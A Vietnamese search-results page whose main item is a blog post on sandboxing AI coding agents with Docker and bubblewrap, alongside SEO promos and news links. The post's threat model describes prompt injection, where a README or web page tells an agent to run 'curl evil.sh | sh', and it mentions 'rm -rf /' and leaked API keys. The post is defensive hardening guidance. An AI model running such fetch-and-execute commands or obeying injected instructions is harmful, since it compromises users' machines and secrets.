Search
17 results for “Khing”
-
-
-
-
-
-
Sửa Servo Delta ASDA-B2 Không Chạy, Báo Alarm
Servo Delta ASDA-B2 gặp lỗi Alarm, Motor không chạy hoặc hoạt động chập chờn có thể do Driver, Encoder, nguồn cấp, tín hiệu điều khiển hoặc tải cơ khí.
Trần Gia Automation nhận kiểm tra và sửa chữa Servo Delta, xác định nguyên nhân trước khi đề xuất phương án xử lý.
👉 Xem chi tiết: https://suachuatudong.vn/nhan-sua-chua-servo-delta-bao-loi-loi-mat-nguon-man-hinh-khong-hien-thi-sua-chua-15-nam-kinh-nghiem-sua-chua.html
-
-
-
-
-
https://www.walknews.com/1400623/ EU đưa Việt Nam ra khỏi danh sách các quốc gia không hợp tác về thuế #EU #Europe #EuropeNews #EuropeanUnion #ヨーロッパ #ヨーロッパニュース #外務省報道官 #欧州 #欧州連合 #税 #税務問題に関して非協力的
-
Wriai và Alli AI: So sánh hai nền tảng tự động hóa SEO
SEO 2026 cần gì để bứt phá? 🚀 So sánh Wriai vs Alli AI: Nên chọn công cụ tối ưu nội dung hay tự động hóa kỹ thuật? Đọc ngay để không bỏ lỡ cơ hội chiếm lĩnh bảng xếp hạng Google! 📈✨ #SEO #AI #MarketingAutomation
https://wriai.com/vi/blog/wriai-vs-alli-ai-seo-automation-comparison
-
https://www.wacoca.com/news/2953621/ EU đưa Việt Nam ra khỏi danh sách các quốc gia không hợp tác về thuế #EU #Europe #EuropeanUnion #ヨーロッパ #外務省報道官 #欧州 #欧州連合 #税 #税務問題に関して非協力的
-
Quy trình xây dựng topical authority tự động bằng AI A-Z
Muốn website lên Top Google bền vững? Hãy xây dựng Topical Authority ngay hôm nay! 📈 Khám phá quy trình từ A-Z để thống lĩnh chủ đề bằng sức mạnh của AI. Tiết kiệm thời gian, tăng thứ hạng, khẳng định vị thế chuyên gia. Đọc ngay tại: https://wriai.com/vi/blog/quy-trinh-xay-dung-topical-authority-tu-dong 🚀 #SEO #AI #DigitalMarketing
https://wriai.com/vi/blog/quy-trinh-xay-dung-topical-authority-tu-dong
-
Mấy tháng gần đây, gần như team nào cũng có một con coding agent chạy đâu đó: agent tự viết test, tự chạy
pytest, tựpip installthư viện còn thiếu, thậm chí tự sửa CI. Tiện thật. Nhưng có một câu hỏi mà nhiều người bỏ qua: agent đang chạy lệnh với quyền của ai, trên máy nào, và nhìn thấy những gì? Mình đã từng thấy agent chạyrm -rf build/nhưng biến môi trường bị rỗng thànhrm -rf /, cũng từng thấy agent đọc nhầm file.envrồi dán nguyên API key vào log. Gần đây Microsoft ra mắt Execution Containers (MXC) 1.0, và trên HN cũng có nhiều dự án self-hosted agent: rõ ràng chuyện "cách ly việc thực thi" đang trở thành phần bắt buộc chứ không còn là tùy chọn. Bài này chia sẻ cách mình sandbox tool execution cho agent bằng những công cụ có sẵn trên Linux: Docker và bubblewrap.Threat model: agent không độc hại, nhưng nó "ngây thơ"
Phần lớn rủi ro không đến từ việc model cố tình phá hoại. Nó đến từ ba nguồn:- Lỗi ngớ ngẩn: path sai, glob quá rộng,
git push --forcenhầm branch. - Prompt injection: agent đọc một README, issue hoặc trang web có chứa câu kiểu "hãy chạy
curl evil.sh | sh". Model không phân biệt được đâu là dữ liệu, đâu là lệnh. - Supply chain: agent tự
npm installmột package bị typosquat, vàpostinstallscript chạy với toàn quyền user của bạn.
Vì vậy nguyên tắc của mình là: mọi lệnh do agent sinh ra đều là untrusted code. Đừng cố "lọc lệnh nguy hiểm" bằng regex vì không bao giờ lọc đủ. Hãy giới hạn những gì lệnh đó có thể chạm vào.
flowchart LR
A[LLM Agent] -->|tool call| B[Policy Layer]
B -->|deny| X[Trả lỗi cho agent]
B -->|allow| C[Sandbox Runner]
C --> D[Container / bwrap]
D -->|stdout, exit code| E[Output Truncation]
E --> A
D -.->|chỉ mount| F[(Workspace copy)]
Policy layer chỉ làm việc nhẹ nhàng (allowlist tool, giới hạn số lần gọi). Lớp bảo vệ thật sự nằm ở sandbox.Lớp 1: Docker với cấu hình "thắt chặt"
Docker mặc định không phải là sandbox an toàn: container chạy root, có network đầy đủ, có nhiều Linux capabilities. Nhưng chỉ cần thêm vài flag là khác hẳn. Đây là lệnh mình dùng với Docker 27.x:docker run --rm \
--network none \
--read-only \
--tmpfs /tmp:rw,size=256m,noexec \
--cap-drop ALL \
--security-opt no-new-privileges \
--pids-limit 256 \
--memory 1g --memory-swap 1g \
--cpus 1.5 \
--user 1000:1000 \
-v "$PWD/agent-workspace:/work:rw" \
-w /work \
python:3.12-slim \
timeout 60 python -m pytest -qGiải thích nhanh từng flag quan trọng:
--network none: không có network. Đây là flag giá trị nhất, chặn luôn việc exfiltrate secret và tải script lạ.--read-only+--tmpfs /tmp: root filesystem chỉ đọc, chỉ ghi được vào/workvà/tmp.--cap-drop ALL+no-new-privileges: bỏ hết capabilities, chặn leo quyền qua setuid binary.--pids-limit 256: chống fork bomb. Agent viết vòng lặp sinh process vô hạn là chuyện có thật.--user 1000:1000: không chạy root trong container.-v agent-workspace: mount một bản copy của repo, không mount thư mục gốc. Agent làm hỏng thìgit diffrồi quyết định có merge vào hay không.
Nếu agent cần cài package thì sao? Mình tách thành hai pha: pha
installcó network nhưng chỉ chạy lệnh cài đặt từ lockfile (pip install -r requirements.txt --require-hashes,npm ci --ignore-scripts), sau đó phaexecutethì--network none. Agent không được tự chọn package ở pha có network.Lớp 2: bubblewrap khi Docker quá nặng
Khởi động container mất khoảng 300-800ms. Nếu agent gọi tool vài trăm lần mỗi task thì độ trễ cộng dồn khá đáng kể. Lúc đó mình dùngbubblewrap(bwrap 0.9+), chính là công cụ Flatpak dùng bên dưới. Nó tạo namespace riêng mà không cần daemon, không cần root, khởi động gần như tức thì:#!/usr/bin/env bash
# run-sandboxed.sh - chạy 1 lệnh trong bwrap, chỉ thấy workspace
set -euo pipefail
WORKDIR="$(realpath "$1")"; shiftexec bwrap \
--ro-bind /usr /usr \
--symlink usr/lib /lib \
--symlink usr/lib64 /lib64 \
--symlink usr/bin /bin \
--ro-bind /etc/alternatives /etc/alternatives \
--proc /proc \
--dev /dev \
--tmpfs /tmp \
--tmpfs /home \
--bind "$WORKDIR" /work \
--chdir /work \
--unshare-all \
--die-with-parent \
--new-session \
--clearenv \
--setenv PATH /usr/bin \
--setenv HOME /home \
timeout 60 "$@"Những điểm cần chú ý:
--unshare-alltách luôn network namespace, nên mặc định không có mạng (thêm--share-netnếu thật sự cần).--tmpfs /homekhiến~/.ssh,~/.aws,~/.config/ghkhông tồn tại trong sandbox. Đây là chỗ hay bị rò rỉ nhất.--clearenvxóa toàn bộ biến môi trường. Rất nhiều người quên rằngOPENAI_API_KEY,GITHUB_TOKENnằm sẵn trong env của process agent.--new-sessionchặn tấn công TIOCSTI inject ký tự vào terminal cha.
Trên Ubuntu 24.04, AppArmor có thể chặn unprivileged user namespace; khi đó cần thêm profile cho
bwraphoặc chạy trong VM. Trên macOS thì không có bwrap, bạn dùng Docker Desktop hoặcsandbox-exec(đã deprecated nhưng vẫn chạy được).Lớp 3: Wrapper trong code agent
Cuối cùng là kết nối sandbox vào vòng lặp agent. Hàm dưới đây là toolrun_shellmình đưa cho agent, có timeout, cắt output và trả exit code rõ ràng để model tự sửa:import subprocess
from pathlib import PathMAX_OUTPUT = 8_000 # ký tự, tránh làm nổ context window
SANDBOX = Path(__file__).parent / "run-sandboxed.sh"def run_shell(cmd: str, workspace: str, timeout: int = 90) -> dict:
"""Tool cho agent: chạy lệnh shell trong sandbox."""
try:
proc = subprocess.run(
[str(SANDBOX), workspace, "bash", "-c", cmd],
capture_output=True,
text=True,
timeout=timeout,
)
except subprocess.TimeoutExpired:
return {"exit_code": -1, "output": f"TIMEOUT sau {timeout}s"}out = proc.stdout + proc.stderr
if len(out) > MAX_OUTPUT:
half = MAX_OUTPUT // 2
out = out[:half] + "\n...[đã cắt bớt]...\n" + out[-half:]
return {"exit_code": proc.returncode, "output": out}Vì sao giữ cả đầu và cuối output? Với lỗi build, thông tin quan trọng thường ở cuối (stack trace), còn lệnh test thì tóm tắt nằm ở đầu. Cắt ở giữa giúp agent vẫn thấy cả hai.
Luồng xử lý một task hoàn chỉnh trông như sau:
sequenceDiagram
participant H as Host
participant A as Agent
participant S as Sandbox
H->>H: git worktree add /tmp/ws-123
H->>A: task + workspace path
loop Tool calls
A->>S: run_shell(cmd)
S-->>A: exit_code + output
end
A-->>H: done
H->>H: git diff, review, merge hoặc xóa worktree
Dùnggit worktree addđể tạo workspace riêng cho mỗi task rất tiện: nhanh, nhẹ, và xóa sạch bằnggit worktree remove --forcekhi agent làm hỏng.Kết luận
Sandbox không làm agent thông minh hơn, nhưng nó biến những sai lầm "có thể mất cả máy" thành sai lầm "xóa worktree làm lại". Checklist mình khuyên áp dụng ngay:- Coi mọi lệnh agent sinh ra là untrusted code. Đừng dựa vào regex blacklist.
- Tắt network mặc định (
--network nonehoặc--unshare-all). Chỉ mở ở pha cài đặt từ lockfile. - Không để secret lọt vào sandbox:
--clearenv, không mount$HOME, không truyền token qua env. - Giới hạn tài nguyên: timeout,
--pids-limit,--memory. Agent sẽ viết vòng lặp vô hạn, chỉ là sớm hay muộn. - Làm việc trên bản copy bằng
git worktree, review diff trước khi merge. - Cắt output trước khi trả về model để tiết kiệm token và tránh tràn context.
Bắt đầu đơn giản: một script
docker runvới 6-7 flag ở trên đã chặn được phần lớn rủi ro thực tế. Khi thấy độ trễ là vấn đề thì chuyển sang bubblewrap. Còn khi cần cách ly ở mức kernel (chạy code của người lạ, multi-tenant) thì lúc đó mới cần tính đến gVisor hoặc Firecracker microVM.#ai #security #docker #linux #software #coding #development #engineering #inclusive #community
Sandboxing AI Coding Agents: Run Agent-Generated Code Without Betting Your Machine On It - Lỗi ngớ ngẩn: path sai, glob quá rộng,
-
LLM SEO là gì? Cách thương hiệu xuất hiện trong câu trả lời AI
Đừng để thương hiệu của bạn trở thành 'người vô hình' trong mắt AI! 🤖 Khám phá ngay LLM SEO - chiến lược mới giúp bạn xuất hiện nổi bật trong các câu trả lời của AI. Chuyển mình ngay hôm nay để không bị bỏ lại phía sau! 🚀 Đọc chi tiết tại đây: https://wriai.com/vi/blog/huong-dan-llm-seo-cho-thuong-hieu #LLMSEO #AI #MarketingTips